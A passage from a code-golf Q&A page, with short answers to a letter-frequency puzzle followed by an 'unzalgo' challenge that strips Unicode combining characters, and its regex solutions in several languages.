converting it into lower case and adding one empty line. Then for each letter from `a` to `z` I repeat that letter maximum number of times it appears in any of the lines (that's why I need the empty line: `max` cannot be called on an enpty input). Then I just join the results and print to the output. To read from a file, replace `stdin` with `fromFile("FILENAME")`, increasing the size of the code to 132 characters + file name length. [Answer] ## Javascript, 261 chars ``` eval('s=prompt().toUpperCase().split("\\n");Z=[########0,0];H=Z.slice();s@r){h=Z.slice();r.split("")@c){if(c.match(/\\w/))h[c.charCodeAt(0)-65]++});H=H@V,i){return V>h[i]?V:h[i]})});s="";H@n,i){s+=Array(n+1).join(String.fromCharCode(i+97))});s'.replace(/@/g,".map(function(").replace(/#/g,"0,0,0,")) ``` Remove the `eval(...)` and execute to get the real code; this is (*somewhat*) compressed. `s` multi-functions as the array of lines and as the outputted string, `h` contains the histogram of the letters per line and `H` contains the histogram with the maximum values up until now. It's case-insensitive, and just ignores anything but a-z and A-Z (I think... JS arrays are sometimes weird). *Now correct :)* [Answer] # JavaScript (*ES5*) 141 bytes Assuming variable `s` is the input string with no case-checking requirements and array output: ``` for(a in s=s[o=_='',y='split']('\n'))for(i=0;x=s[a][i++];)o+=x!=0&&(l=s[a][y](x).length-~-o[y](x).length)>0?Array(l).join(x):_;o[y](_).sort() ``` [Answer] ## PowerShell - 141 Reads text from a file named 'a'. ``` $x=@{} gc a|%{[char[]]$_|group|%{$c=$_.name.tolower().trim() $n=$_.count;$x[$c]=($n,$x[$c])[$n-lt$x[$c]]}} ($x.Keys|sort|%{$_*$x[$_]})-join"" ``` [Answer] ## Groovy, 113/127 102/116 characters Assuming the file is all in one case (102 chars): ``` t=new File('f').text;t.findAll('[A-Z]').unique().sort().each{c->print c*t.readLines()*.count(c).max()} ``` Assuming the file is in mixed case (116 chars): ``` t=new File('f').text.toUpperCase();t.findAll('[A-Z]').unique().sort().each{c->print c*t.readLines()*.count(c).max()} ``` Basically: * `t=new File('f').text` To get the text of the file. * `t.findAll('[A-Z]').unique().sort().each{c->` To get the unique characters, sort them, and iterate. * `print c*t.readLines()*.count(c).max()` Get the max occurances in a single line and print the character that many times. [Answer] # Bash (mostly awk) - ~~172~~ ~~163~~ 157 ``` awk -v FS="" '{delete l;for(i=1;i<=NF;i++)l[toupper($i)]++;for(i in l)o[i]=(o[i]>l[i]?o[i]:l[i])}END{for(i in o)for(j=0;j<o[i];j++)print i}'|sort|tr -d ' \n' ``` Text needs to be piped in to awk (or specified as a file). ### Example Input ``` Hello I love cat I love dog I love mommy Mommy loves daddy ``` ### Example Output ``` ACDDDEGHILLMMMOOSTVYY ``` # PHP (probably could be better) - ~~174~~ 210 ``` $o=array();foreach(explode("\n",$s) as $a){$l=array();$i=0;while($i<strlen($a)){$k=ucfirst($a[$i++]);if($k==' ')continue;$o[$k]=max($o[$k],++$l[$k]);}}ksort($o);foreach($o as $k=>$v)for($i=0;$i<$v;$i++)echo $k; ``` Assumes that the string is contained in the variable $s ### Example Input ``` Hello I love cat I love dog I love mommy Mommy loves daddy ``` ### Example Output ``` ACDDDEGHILLMMMOOSTVYY ``` [Answer] I realize this probably isn't the most efficient answer, but I wanted to try and solve the problem anyways. Here's my ObjC variation: ``` - (NSArray *) lettersNeededForString:(NSString *)sourceString { sourceString = [sourceString stringByReplacingOccurrencesOfString:@"\n" withString:@""]; sourceString = [sourceString stringByReplacingOccurrencesOfString:@" " withString:@""]; const char * sourceChars = sourceString.UTF8String; NSMutableArray * arr = [NSMutableArray new]; for (int i = 0; i < sourceString.length; i++) { [arr addObject:[NSString stringWithFormat:@"%c", sourceChars[i]]]; } return [arr sortedArrayUsingSelector:@selector(localizedCaseInsensitiveCompare:)]; } ``` Then you can call it for whatever string: ``` NSArray * letters = [self lettersNeededForString:@"Hello\nI love cat\nI love dog\nI love mommy\nMommy loves daddy"]; NSLog(@"%@",letters); ``` I was thinking about applications with larger amounts of text and I'd rather not have to count my array. For this, I added to the method to get this: ``` - (NSDictionary *) numberOfLettersNeededFromString:(NSString *)sourceString { sourceString = [sourceString stringByReplacingOccurrencesOfString:@"\n" withString:@""]; sourceString = [sourceString stringByReplacingOccurrencesOfString:@" " withString:@""]; const char * sourceChars = sourceString.UTF8String; NSMutableArray * arr = [NSMutableArray new]; for (int i = 0; i < sourceString.length; i++) { [arr addObject:[NSString stringWithFormat:@"%c", sourceChars[i]]]; } static NSString * alphabet = @"abcdefghijklmnopqrstuvwxyz"; NSMutableDictionary * masterDictionary = [NSMutableDictionary new]; for (int i = 0; i < alphabet.length; i++) { NSString * alphabetLetter = [alphabet substringWithRange:NSMakeRange(i, 1)]; NSIndexSet * indexes = [arr indexesOfObjectsPassingTest:^BOOL(id obj, NSUInteger idx, BOOL *stop) { if ([[(NSString *)obj lowercaseString] isEqualToString:alphabetLetter]) { return YES; } else { return NO; } }]; masterDictionary[alphabetLetter] = @(indexes.count); } return masterDictionary; } ``` Run like: ``` NSDictionary * lettersNeeded = [self numberOfLettersNeededFromString:@"Hello\nI love cat\nI love dog\nI love mommy\nMommy loves daddy"]; NSLog(@"%@", lettersNeeded); ``` Will give you: > > { > a = 2; > b = 0; > c = 1; > d = 4; > e = 5; > f = 0; > g = 1; > h = 1; > i = 3; > j = 0; > k = 0; > l = 6; > m = 6; > n = 0; > o = 8; > p = 0; > q = 0; > r = 0; > s = 1; > t = 1; > u = 0; > v = 4; > w = 0; > x = 0; > y = 3; > z = 0; > } > > > Which I think is better if I had a very large amount of text and I just needed to know how many of each letter I would need. [Answer] # K, 34 ``` {`$a@<a:,/(.:a)#'!:a:|/#:''=:'0:x} ``` [Answer] # [Haskell](https://www.haskell.org/), 41 bytes ``` f s=do c<-['a'..];maximum$filter(==c)<$>s ``` [Try it online!](https://tio.run/##NYwxCsMwDAD3vEKDIe1Qf6BxP1I6CMtORCQbKrc0r3dDIMtx3HAL2ppEes9ggSrE6fYccfT@dVf8sX7UZZaW3pcQ4nVyD@uKXAKXvWFsLnvhkqwv@6UODFK/CSK2U6nOp2pV3YaDRzAgJNr@ "Haskell – Try It Online") `f` takes a list of lines as input. Add `main=interact$f.lines` to get a full program for a total of **63 bytes**. **Explanation** ``` f s= -- input s is the list of lines do c<-['a'..]; -- for each char c starting at c='a', concatenate the following strings filter(==c)<$>s -- for each line in s remove all characters except for the current c maximum$ -- take the longest of those strings ``` [Answer] # Python 2, 154 bytes ``` import collections c = collections.Counter() for line in open("input.txt"): c |= collections.Counter(line.upper()) print "".join(sorted(c.elements())) ``` [Answer] # C, 298 bytes ``` char c; int j,n; char C[26]; char D[26]; int main() { char a='a'; while((c=getchar())>=0) { c=tolower(c); if(c>=a&&c<='z'){j=c-a;D[j]++;} if(c=='\n'){ for(j=0;j<26;j++){ if(D[j]>C[j]) {C[j]=D[j];} D[j]=0; } } } for(j=0;j<26;j++) { n=C[j]; while(n--) { putchar(a+j); } } } ``` Array D holds tally of letters for each line, then the maximum count is copied to C. Note: I put my answer yesterday but is now not listed, maybe I pressed delete instead of edit by mistake? ]
[Question] [ I'm sure you're all familiar with Z̃͗̇̚͟Ḁ̬̹̈̊̂̏̚L̜̼͊ͣ̈́̿̚G̱̮ͩ̃͑̆ͤ̂̚Õ̷͇͉̺̜̲ͩ́ͪͬͦ͐ ̪̀ͤͨ͛̍̈͢ĝ̭͇̻̊ͮ̾͂e̬̤͔̩̋ͮ̊̈ͭ̓̃n͖͎̘̭̯̳͎͒͂̏̃̾ͯe͕̖̋ͧ͑ͪ̑r̛ͩa̴͕̥̺̺̫̾ͭ͂ͥ̄ͧ͆t͍̻̘̆o͓̥ͤͫ̃̈̂r̹̤͇̰̻̯̐ͮ̈́ͦ͂͞. If not, you can play with the [classical generator](http://www.eeemo.net/) a bit. Zalgo text is unicode text that started as English text and had a bunch of [combining characters](https://en.wikipedia.org/wiki/Combining_character#Unicode_ranges) to make it hard to read artistic. This is operation unzalgo. The object is to undo the generate zalgo text operation. Since only combining characters were added, only combining characters have to be removed. We're only going to be operating on English, because of course we are. However, all proper English text must to come through unmutated. That is, if you were fed proper English, you must output your input. Sounds easy, right? Not so fast. English has combining characters, just not very many, and people are slowly forgetting they exist. The rules: 1) You may either strip combining characters or filter out all invalid characters, at your discretion. This doesn't have to work at all languages because the operation itself makes no sense if we started with something that wasn't English text. Abandon hope all ye who enter here. 2) You may assume that unicode normalization was not executed after zalgo generation; that is all added combining characters are still combining characters. 3) All printable ASCII characters (codepoints between 0x20 and 0x7E inclusive) must survive, as well as tab (0x09), and newline (0x0A). 4) English has diaresis over vowels. These must survive whether expressed as natural characters or combining characters. Vowel table (Each group of three is in the form (unmodified character, single character, combining characters): ``` a ä ä A Ä Ä e ë ë E Ë Ë i ï ï I Ï Ï o ö ö O Ö Ö u ü ü U Ü Ü y ÿ ÿ Y Ÿ Ÿ ``` The combining diaresis character is code-point 0x308. 5) English does not have diaeresis over consonants. You must dump them when constructed as combining characters. 6) British English has four ligatures. These must survive: ``` æ Æ œ Œ ``` 7) The following symbols must survive: Editor substitution table (includes smart quotes in both directions): ``` … ¼ ½ ¾ ‘ ’ “ ” ™ ``` Symbol table: ``` $ ¢ £ ¬ † ‡ • ‰ · ° ± ÷ ``` 8) If you get something like ö̎̋̉͆̉ö͒̿̍ͨͦ̽, both oo and öö are valid answers. 9) Input may contain both zalgo and non-zalgo characters; and the non-zalgo characters should be unmodified: if somebody sends 'cöoperate with dͧḯ̍̑̊͐sc͆͐orͩ͌ͮ̎ͬd̄̚', they should still get back 'cöoperate with discord' not 'cooperate with discord'. 10) If any character is not specified, it doesn't matter what you do with it. Feel free to use this rule to lossily compress the keep-drop rules. 11) Your program must handle all unicode codepoints as input. No fair specifying a code-page that trivializes the problem. Additional test cases: ``` "z̈ ỏ" "z o" "r̈ëën̈ẗr̈ÿ" "rëëntrÿ" (don't outsmart yourself) ``` I have been informed [this case](https://stackoverflow.com/a/1732454/14768) is also excellent but it's starting point contains a few characters with unspecified behavior. If you maul Θ, Ό, Ɲ, or ȳ I don't care. A pretty comprehensive test input: ``` cöoperate with dͧḯ̍̑̊͐sc͆͐orͩ͌ͮ̎ͬd̄̚ æ Æ œ Œ…¼½¾‘’“”™$¢£¬†‡•‰·°±÷ a ä ä A Ä Ä e ë ë E Ë Ë i ï ï I Ï Ï Z̃͗̇̚͟Ḁ̬̹̈̊̂̏̚L̜̼͊ͣ̈́̿̚G̱̮ͩ̃͑̆ͤ̂̚Õ̷͇͉̺̜̲ͩ́ͪͬͦ͐ ̪̀ͤͨ͛̍̈͢ĝ̭͇̻̊ͮ̾͂e̬̤͔̩̋ͮ̊̈ͭ̓̃n͖͎̘̭̯̳͎͒͂̏̃̾ͯe͕̖̋ͧ͑ͪ̑r̛ͩa̴͕̥̺̺̫̾ͭ͂ͥ̄ͧ͆t͍̻̘̆o͓̥ͤͫ̃̈̂r̹̤͇̰̻̯̐ͮ̈́ͦ͂͞ o ö ö O Ö Ö u ü ü U Ü Ü y ÿ ÿ Y Ÿ Ÿ Unz̖̬̜̺̬a͇͖̯͔͉l̟̭g͕̝̼͇͓̪͍o̬̝͍̹̻ ö̎̋̉͆̉ö͒̿̍ͨͦ̽ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅ ``` [Answer] # [JavaScript (Node.js)](https://nodejs.org), 45 bytes ``` s=>s.replace(/([aeiouy]̈)|[̀-ͯ҉]/ig,'$1') ``` [Try it online!](https://tio.run/##bVNtVxtVEP6@v2JENFkLIWitLxWUVqxoFRVRKaGyJpuwNWbjZtMKVs82RNgEobzUiC1YS5PQhITQNygvLefce/g288WfsH8Eh/rBo8dz7oc7zzxz55m5Mxe0i1oqbBlJuzVhRvTDaMdhqqMzFbD0ZFwL6/42/6CmG2Z6dAhd9fIgOq3U@DM31GbEWnzN7T71MGwmUmZcD8TNmD/qbxpDF0zMNanqSeU/Lgtd/elJoGujy@Youv9DHGYbXTOpW5qtwyXDHoEIrRqUxWmcwzzNpsI0QbOmRRX6mdZxhmoRvI5ZkGWQE3CwAAfznlMWe@KxeOI5i57zm@csec6yl11pFivitqh5zh@ec8tzVjxnQ2yJDXFXbimKBrIIGhfQBTILXegqOsg1YMXQDXIKuhkxQDbAYKQH5FXo4QvAOc4@Tr/iJN3kIDbymMGrWMIabp@lPN3G6yx@H5dw7wxfK0yewwkqMusurveyWcErVKUalWkWt2iScrjD7HuADhXpDt3gyl1awWqMQ/Jc8hPKYJ0mcVfHKTbz7K3jAo5zxiJdw0qC5ulIwjgzG1SgGVzEOjbwPs0cRazSHFVxjn7BAjcRb2hMq1OGSphl3wQ@YE@JJezgms1Cp3EXF01WssYPupihBSxZOEvrlGXFGfodtzntJG4wr6GYIDd5BFzoBVmAXu5ZGuQepBnpB7kE/YyMgtwH/n0YgINHMMBIf2IMCyx/iZPWNG5BARt0jXJxvIn1GOtZxj1GF7BK0ybzllnVNu4qiiI3cQanMMe6c3KT5rnR09yzMj5W4JmmZ5ufe97nV1841tIaaAu2v/jS8ZdPvPLqa6@ffKOj8823uk6dfrv7nTPv9rz3/tkPPuz96ONP@j7t/@zzLwbODYZCQ@e/DA1rX4UjejQ2Ylz4Ov5Nwkx@a6Xs9MVL342OfX/5hx9B3Ho6UEVREmWxKu6IiqiKNVETdbEuGkeDJe6J@@KBeCg2edAeiW2xI3b/Hk2xLx15RWbkuMzKn5Tho0341yr4o3AMfD71n2UcPB8KtobSwWA0OtQWa4EwdHSCLxRK@5gZDoRHNOs0b3GX7VcDttlnW0Yi5m8/oQaSWqTP1izbf7wFgqqqHv4F "JavaScript (Node.js) – Try It Online") More readable version: ``` s=>s.replace(/([aeiouy]\u0308)|[\u0300-\u036f\u0489]/ig,'$1') ``` [Answer] # Perl 5 (`-pC -Mutf8`), ~~30~~ 28 bytes using tsh regex, upvote him. -2 bytes thanks to DomHastings ``` s/[aeiouy]̈\K|[̀-ͯ҉]//gi ``` [TIO](https://tio.run/##AcwAM/9wZXJsNf//cy9bYWVpb3V5XcyIXEt8W8yALc2v0oldLy9naf//esyIIG/MiQpyzIhlzIhlzIhuzIh0zIhyzIh5zIgKCmNvzIhvcGVyYXRlIHdpdGggZM2nac2EzI3MkcyKzZBzY82GzZBvcs2pzYzNrsyOzaxkzJrMhCDDpiDDhiDFkyDFkuKApsK8wr3CvuKAmOKAmeKAnOKAneKEoiTCosKjwqzigKDigKHigKLigLDCt8KwwrHDt/5vcHRpb25z/y1wQ/8tTXV0Zjg) [Answer] # [Japt](https://github.com/ETHproductions/japt), 22 bytes Another port of [tsh's solution](https://codegolf.stackexchange.com/a/188477/58974) ``` r"(%ÿ)|[̀-ͯ҉]""$1 ``` [Try it](https://petershaggynoble.github.io/Japt-Interpreter/?v=1.4.6&code=ciIoJXlcdTAzMDgpfFtcdTAzMDAtXHUwMzZmXHUwNDg5XSIiJDE&input=IlpcdTAzMWFcdTAzMDNcdTAzNTdcdTAzMDdcdTAzNWZBXHUwMzA4XHUwMzFhXHUwMzBhXHUwMzAyXHUwMzBmXHUwMzI1XHUwMzJjXHUwMzM5TFx1MDM0YVx1MDM2M1x1MDMxYVx1MDM0NFx1MDMzZlx1MDMxY1x1MDMzY0dcdTAzMWFcdTAzNjlcdTAzMDNcdTAzNTFcdTAzMDZcdTAzNjRcdTAzMDJcdTAzMzFcdTAzMmVPXHUwMzAzXHUwMzY5XHUwMzAxXHUwMzZhXHUwMzZjXHUwMzY2XHUwMzUwXHUwMzM3XHUwMzQ3XHUwMzQ5XHUwMzNhXHUwMzFjXHUwMzMyIFx1MDMwMFx1MDM2NFx1MDM2OFx1MDM1Ylx1MDMwZFx1MDMwOFx1MDM2Mlx1MDMyYWdcdTAzMDJcdTAzMGFcdTAzNmVcdTAzM2VcdTAzNDJcdTAzMmRcdTAzNDdcdTAzM2JlXHUwMzBiXHUwMzZlXHUwMzBhXHUwMzA4XHUwMzZkXHUwMzEzXHUwMzAzXHUwMzJjXHUwMzI0XHUwMzU0XHUwMzI5blx1MDM1Mlx1MDM0Mlx1MDMwZlx1MDMwM1x1MDMzZVx1MDM2Zlx1MDM1Nlx1MDM0ZVx1MDMxOFx1MDMyZFx1MDMyZlx1MDMzM1x1MDM0ZWVcdTAzMGJcdTAzNjdcdTAzNTFcdTAzNmFcdTAzMTFcdTAzNTVcdTAzMTZyXHUwMzY5XHUwMzFiYVx1MDMzZVx1MDM2ZFx1MDM0Mlx1MDM2NVx1MDMwNFx1MDM2N1x1MDM0Nlx1MDMzNFx1MDM1NVx1MDMyNVx1MDMzYVx1MDMzYVx1MDMyYnRcdTAzMDZcdTAzNGRcdTAzM2JcdTAzMThvXHUwMzY0XHUwMzZiXHUwMzAzXHUwMzA4XHUwMzAyXHUwMzUzXHUwMzI1clx1MDMxMFx1MDM2ZVx1MDM0NFx1MDM2Nlx1MDM0Mlx1MDM1ZVx1MDMzOVx1MDMyNFx1MDM0N1x1MDMzMFx1MDMzYlx1MDMyZiI) or [run all test cases](https://petershaggynoble.github.io/Japt-Interpreter/?v=1.4.6&code=ciIoJXlcdTAzMDgpfFtcdTAzMDAtXHUwMzZmXHUwNDg5XSIiJDE&input=Wwoielx1MDMwOCBvXHUwMzA5Igoiclx1MDMwOGVcdTAzMDhlXHUwMzA4blx1MDMwOHRcdTAzMDhyXHUwMzA4eVx1MDMwOCIKImNvXHUwMzA4b3BlcmF0ZSB3aXRoIGRcdTAzNjdpXHUwMzQ0XHUwMzBkXHUwMzExXHUwMzBhXHUwMzUwc2NcdTAzNDZcdTAzNTBvclx1MDM2OVx1MDM0Y1x1MDM2ZVx1MDMwZVx1MDM2Y2RcdTAzMWFcdTAzMDQg5iDGIFx1MDE1MyBcdTAxNTJcdTIwMja8vb5cdTIwMThcdTIwMTlcdTIwMWNcdTIwMWRcdTIxMjIkoqOsXHUyMDIwXHUyMDIxXHUyMDIyXHUyMDMwt7Cx9yIKImEg5CBhXHUwMzA4IEEgxCBBXHUwMzA4CmUg6yBlXHUwMzA4IEUgyyBFXHUwMzA4Cmkg7yBpXHUwMzA4IEkgzyBJXHUwMzA4ICAgWlx1MDMxYVx1MDMwM1x1MDM1N1x1MDMwN1x1MDM1ZkFcdTAzMDhcdTAzMWFcdTAzMGFcdTAzMDJcdTAzMGZcdTAzMjVcdTAzMmNcdTAzMzlMXHUwMzRhXHUwMzYzXHUwMzFhXHUwMzQ0XHUwMzNmXHUwMzFjXHUwMzNjR1x1MDMxYVx1MDM2OVx1MDMwM1x1MDM1MVx1MDMwNlx1MDM2NFx1MDMwMlx1MDMzMVx1MDMyZU9cdTAzMDNcdTAzNjlcdTAzMDFcdTAzNmFcdTAzNmNcdTAzNjZcdTAzNTBcdTAzMzdcdTAzNDdcdTAzNDlcdTAzM2FcdTAzMWNcdTAzMzIgXHUwMzAwXHUwMzY0XHUwMzY4XHUwMzViXHUwMzBkXHUwMzA4XHUwMzYyXHUwMzJhZ1x1MDMwMlx1MDMwYVx1MDM2ZVx1MDMzZVx1MDM0Mlx1MDMyZFx1MDM0N1x1MDMzYmVcdTAzMGJcdTAzNmVcdTAzMGFcdTAzMDhcdTAzNmRcdTAzMTNcdTAzMDNcdTAzMmNcdTAzMjRcdTAzNTRcdTAzMjluXHUwMzUyXHUwMzQyXHUwMzBmXHUwMzAzXHUwMzNlXHUwMzZmXHUwMzU2XHUwMzRlXHUwMzE4XHUwMzJkXHUwMzJmXHUwMzMzXHUwMzRlZVx1MDMwYlx1MDM2N1x1MDM1MVx1MDM2YVx1MDMxMVx1MDM1NVx1MDMxNnJcdTAzNjlcdTAzMWJhXHUwMzNlXHUwMzZkXHUwMzQyXHUwMzY1XHUwMzA0XHUwMzY3XHUwMzQ2XHUwMzM0XHUwMzU1XHUwMzI1XHUwMzNhXHUwMzNhXHUwMzJidFx1MDMwNlx1MDM0ZFx1MDMzYlx1MDMxOG9cdTAzNjRcdTAzNmJcdTAzMDNcdTAzMDhcdTAzMDJcdTAzNTNcdTAzMjVyXHUwMzEwXHUwMzZlXHUwMzQ0XHUwMzY2XHUwMzQyXHUwMzVlXHUwMzM5XHUwMzI0XHUwMzQ3XHUwMzMwXHUwMzNiXHUwMzJmCm8g9iBvXHUwMzA4IE8g1iBPXHUwMzA4CnUg/CB1XHUwMzA4IFUg3CBVXHUwMzA4Cnkg/yB5XHUwMzA4IFkgXHUwMTc4IFlcdTAzMDgiCiJVbnpcdTAzMTZcdTAzMmNcdTAzMWNcdTAzM2FcdTAzMmNhXHUwMzQ3XHUwMzU2XHUwMzJmXHUwMzU0XHUwMzQ5bFx1MDMxZlx1MDMyZGdcdTAzNTVcdTAzMWRcdTAzM2NcdTAzNDdcdTAzNTNcdTAzMmFcdTAzNGRvXHUwMzJjXHUwMzFkXHUwMzRkXHUwMzM5XHUwMzNiIgoi9lx1MDMwZVx1MDMwYlx1MDMwOVx1MDM0Nlx1MDMwOfZcdTAzNTJcdTAzM2ZcdTAzMGRcdTAzNjhcdTAzNjZcdTAzM2QiCiIgISMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaW1xcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fiChoqOkpaanqKmqq6ytrq%2bwsbKztLW2t7i5uru8vb6/wMHCw8TFIgpdLW1S) [Answer] # [Retina](https://github.com/m-ender/retina/wiki/The-Language), ~~64~~ 49 bytes (44 chars) Removes combining diaresis only if not for a vowel, then removes any character not in the character class. `\p{L}` is a handy class for Unicode letters. ``` i`(?<![aeiouy])\u0308 [^ -÷\p{L}‘-™\u0308] ``` [**Try it online!**](https://tio.run/##JVJpW5JREP3s@yvG9s3SbLE9KyvLss3K1IqUjDIxhEzbXoHYDARRNEUtAwwEsU1zSZ9n7uO3mT/x/hEb89udM2fuOffcsZntllZTydqa5eGOU8cL60xmi9XR2bCz3lFcWlymaXX3C4rUXH3b66q3hj5UZLgnNjoN2tpaQaOVfNY2s81kN0OHxf4EmnjSwm4KUoQCHG5vZA@HrTZO80eephBnm2iY3KBSoDywGoXVPkNP4RL@xWW53NA/GXrc0EdFZAtO4FfMGvpnQ/9i6BOGPoNzOIPf1ZymmUAlwEQ@KAflhnLyaWZQU2AWpAJUD1QIYgGVB4sglaB6oZJ8BfdE28WD5OVxGZEiQE7qpSRlab6KA/yVhsX6CsVp6YIc00KOkIcTwvpO09VSpqmbM5zlFIdpjr3spwVh/wDSOcHfeETe7eMJyjTLSEAevMxOyrGXFs3UI2VAujmKkksUE9xP6Vbu43ULLmHmOcYhGqIc5eknh9YnJjnCGYrwAMUkQhoxCS3HTk6SW3oe@iWdpFhYoCm7GA3SIg1ZxcmUXOgjJ0cpaaMwT7NbHDt5jOZF1kszwstrVlCzIN8H1aBiUC2JOUAtgUOQGlBxqBGkE9QKdApSC6t/oFaQmtYuion9uIhmTRJBjPLcz/4WGqdcs/gZpSVBo5ThoFV4o@JqnhY1TVOzFKIe8otvv5rlPgk6KJml6K8GhZs2b9m6bfuOnbt27ynau6@4ZH/pgYOHDpcdOXrs@ImTp06Xnzl7ruL8hYuVly5XXblafe36jZu3am7fuVt7r66@4f6Dh6ZHjU3mx81PLE@ftTxvtba9sLXbHS87XnV2vX7z9t171LEbnehCN35AD3rRh34MYA9@xCCGsBfDGME@jGI/DmAMB3EIP@EwjmAcR3EMx/Ezfvm/jglMYgon8RumMYNTmMUcTmN@fS3xB/7EX/gbZ2VN/@A8LuDixmLjitJVt3Iql3KrD/8A "Retina – Try It Online") This successfully ensures no dotted consonants remain, and it preserved the dots over the vowels in a way that passes rules #4 and #9. Test on a [real-world example](https://stackoverflow.com/a/1732454/2415524): [**Try it online!**](https://tio.run/##jVZdb1XHFX0uv2L6FKhsK1Vf@hC1IpEbqAxGsVWVEqrOPXfuPSOfc@YwM@faV1UlQ21aJ3wUBK6BOsZRkG0cQIQGSNWSh0pVH/bkIf@g/BG69sy91x9KpcqWfc6Zmf2x9tprj1VeV/KHb97o3xz96TvfPyeVNk3//LEPm7d/9PaPjxw59@vvjf/zxYf1b6d@93pxbfz10qdp5fyRN2/OmkZksnrLi1pap8S5X54/MXtqSsxrnwurumphQryrMtlgLS6kzS2V9rdFqz/c9gH/E9qJynghhTemED6Xno/wgYa3eyMyY63KfNEfuGSzE@K4EydFLntKyMrNK4u9uopr47Jqj0cf4kKjnNemciLHDuGMKGXVF16XysFFx1g1Bp/RlzCdFBlyKYoUVFGYedFHyjGMyjXl0D2CbwpphVqorXIu@pBwsT8PpKZxptPRmVYVJ@BMnWtElEmfcmuqtrLOI@IYBvvwtsm8E6qsC9NPgCWXEc4RXHYQQCGrbiO7DEMbWVaZYvx4z2HMD8c7rABAslql8PmcutDouk7xtaySc6Jt5quB@wofNcIrlax01e00BTvxMHYI3Ab5@2G4XeVBuS5bLNWEmOypSqgql4gWZbPD4Ox3geoSEZDDGWWLUZRNzdYYNC/dHBePk2UnCS0maiqk6imL0OYUfIvMymxuD0u5hx8s7NUKlQD@akH7/qCW/v@HNab3c1OJmTmlRuf2yIuEOM7/ddYmDCPvpPcggudU950fNtvh4wMuV7kB17JcF20xr1Tt4udWYUybs@xp29W8mRnzQYOj6LccsICJokal4djiYEvW9YQ4sw/VfV0OrMqS6@MlOAEwnGkKl/jB3sCbomRv/FLoHkwMUGevyUQXWw2ogd7EFtSnMD30Yymt1ahICtBq38gChjuyQuPoNvgzC5vvZCiTsj8Zwouc2wPGoQNRVj/YiCbP9jU324xxjFxDNjhIJ8vYgJmqo0dXS5yLFGpDRazpJ2BKDQsxXGZ8k@ViHr5QtLrxvj8hTnZi5b6jXPAeawoGdyMi0bXhKEsxkABtUSjpanwyjYPpPv7kGl7axpRgDosSH9JV3qDf8KgLzjHmMF0h4tzA8emYzYixA5IkkeSd70qnM3GqKbwuNHdAIc6gFQB6lCG0cCrXeF00LqlpncAoNPSh049WqteLHyvbQ78PKu1QlNg/iLlwPuZrWo73jCX4atfPchUxgewMMMAHcKmQTTf3bCqH5BubBIq@plu0sjDekhx@BDRia5NiRdlkIbEj0Z1DmGx5xoPU02ioDsv4QW4cfp3fj5bDWEmC7C3kIXUXxyW5q8ImmKYg7EB0/8QYDggZQYr19dq5RomjaoFZFcuUGBErOtKUMVY5FKiHOex4zlnMCeW0ah8D91jkjWVxL2omQI5keERCbA3qjTh6usdAIB@XAeOu2lMYBHdQO3K4YiohwUigqHAGxoQCi@MrEm2jf3kAWN/YNFqcyhrLq2g05Q44kG409gzHngGw5Ax9I1uFdjmPlzhMkHZLeahSlQKeNxZoDudfcjvSjizcDA9NuBd2rW2AH5PL86g6Gvtv5n12Mfg2FkdOiYkeLwzYfgwuSx773UKXdRrw7CS5TILA/F0Y8WmvPlxPaCSWMZt5cjMRXA08YBQpdq0sYfstF6uecd0qzjrqn9xzkSmwtuAVlyEtaEd3r8OSXNd8RSm4Z1yBphhcj8YheLj0MO8QDOJgFepxA8UuOjGLT6NOAH/quuBbBe9nMDG5nI@XAc4pSgaPlAjbL7Tjdk8KYCokh3ABzzCsvYe2iaO2o@GMOzMt0Kai5wiebuf0JS@BDRVt5yZ8AltWtjFPwsVMhYsD4fx2pc9k4ShUVWi6GpboUliCRVWVSHxsIMiy60ShZLg/p2mrCmtd0bH03NB2KWizb@ApbCB31VfhU0cvBd0r6LaeC9c5sQtYbnQbiOgqAesMnMYy08vRqMSuwbQc3RdisdWC51SghGBrPN4zOkvCBlJFIhR8wUFM0OFon43Fe@XJ2I9OqUFLR9njV/oi3KXVcIvuaGR8kXY8XaSPwyK@X6MdehpuDXSopWTjNd@mfDQKzCueQRXfSFIaaZCqiDdeT8HN8akpcXJGTE3PwOz1sBRWaSf8gf5MD2fTGjbH5dnENFPRi/7BOtNzenyw6LwT6oSjYE6tLG56XqWxc@qs@Nnx9yZH///z5c0cU7wNlojT0/idpr9P4yAev1kTzps6WpM8Jn4QbtAr/DzHMy2H3XCd7tBnXTT3ZXoVdulGuIzQdwuwYzc8CNthNawgkx16RhuKlum@E@GapK3wx7Bq6R84swR1uJFmEEiKKi/CyBZdkWG7oN@Hz8IluLtMa7ROd8Svjof7tBk@CutT739zBaiFx3Tp2xV6Anu36Svseipmp8MyYviK/vavdfrrv5/RMzF7gtYmQdeVsCrC/TPYfpUeTdNd@DxNfzpLm@IEQv0I8SzD2TXapJf0kJ5MIrx74SEOLqIyW2GNPqcdgeBehc9pC5hv01P4eURP3guPULkH4XHYoBdA5AtaD6vTeL1Oj2FpPVw9BfM36S6s7eDw3fAX7FmdRKo74UpAnLRBG@EOfTITnsRRuQ16PQjLtAuKPfov) --- If I copy the regex in @tsh's [answer](https://codegolf.stackexchange.com/a/188477/34718), I get this for **27 chars (31 bytes)**: ``` i`(?!(?<=[aeiouy])̈)[̀-ͯ҉] ``` [Try it 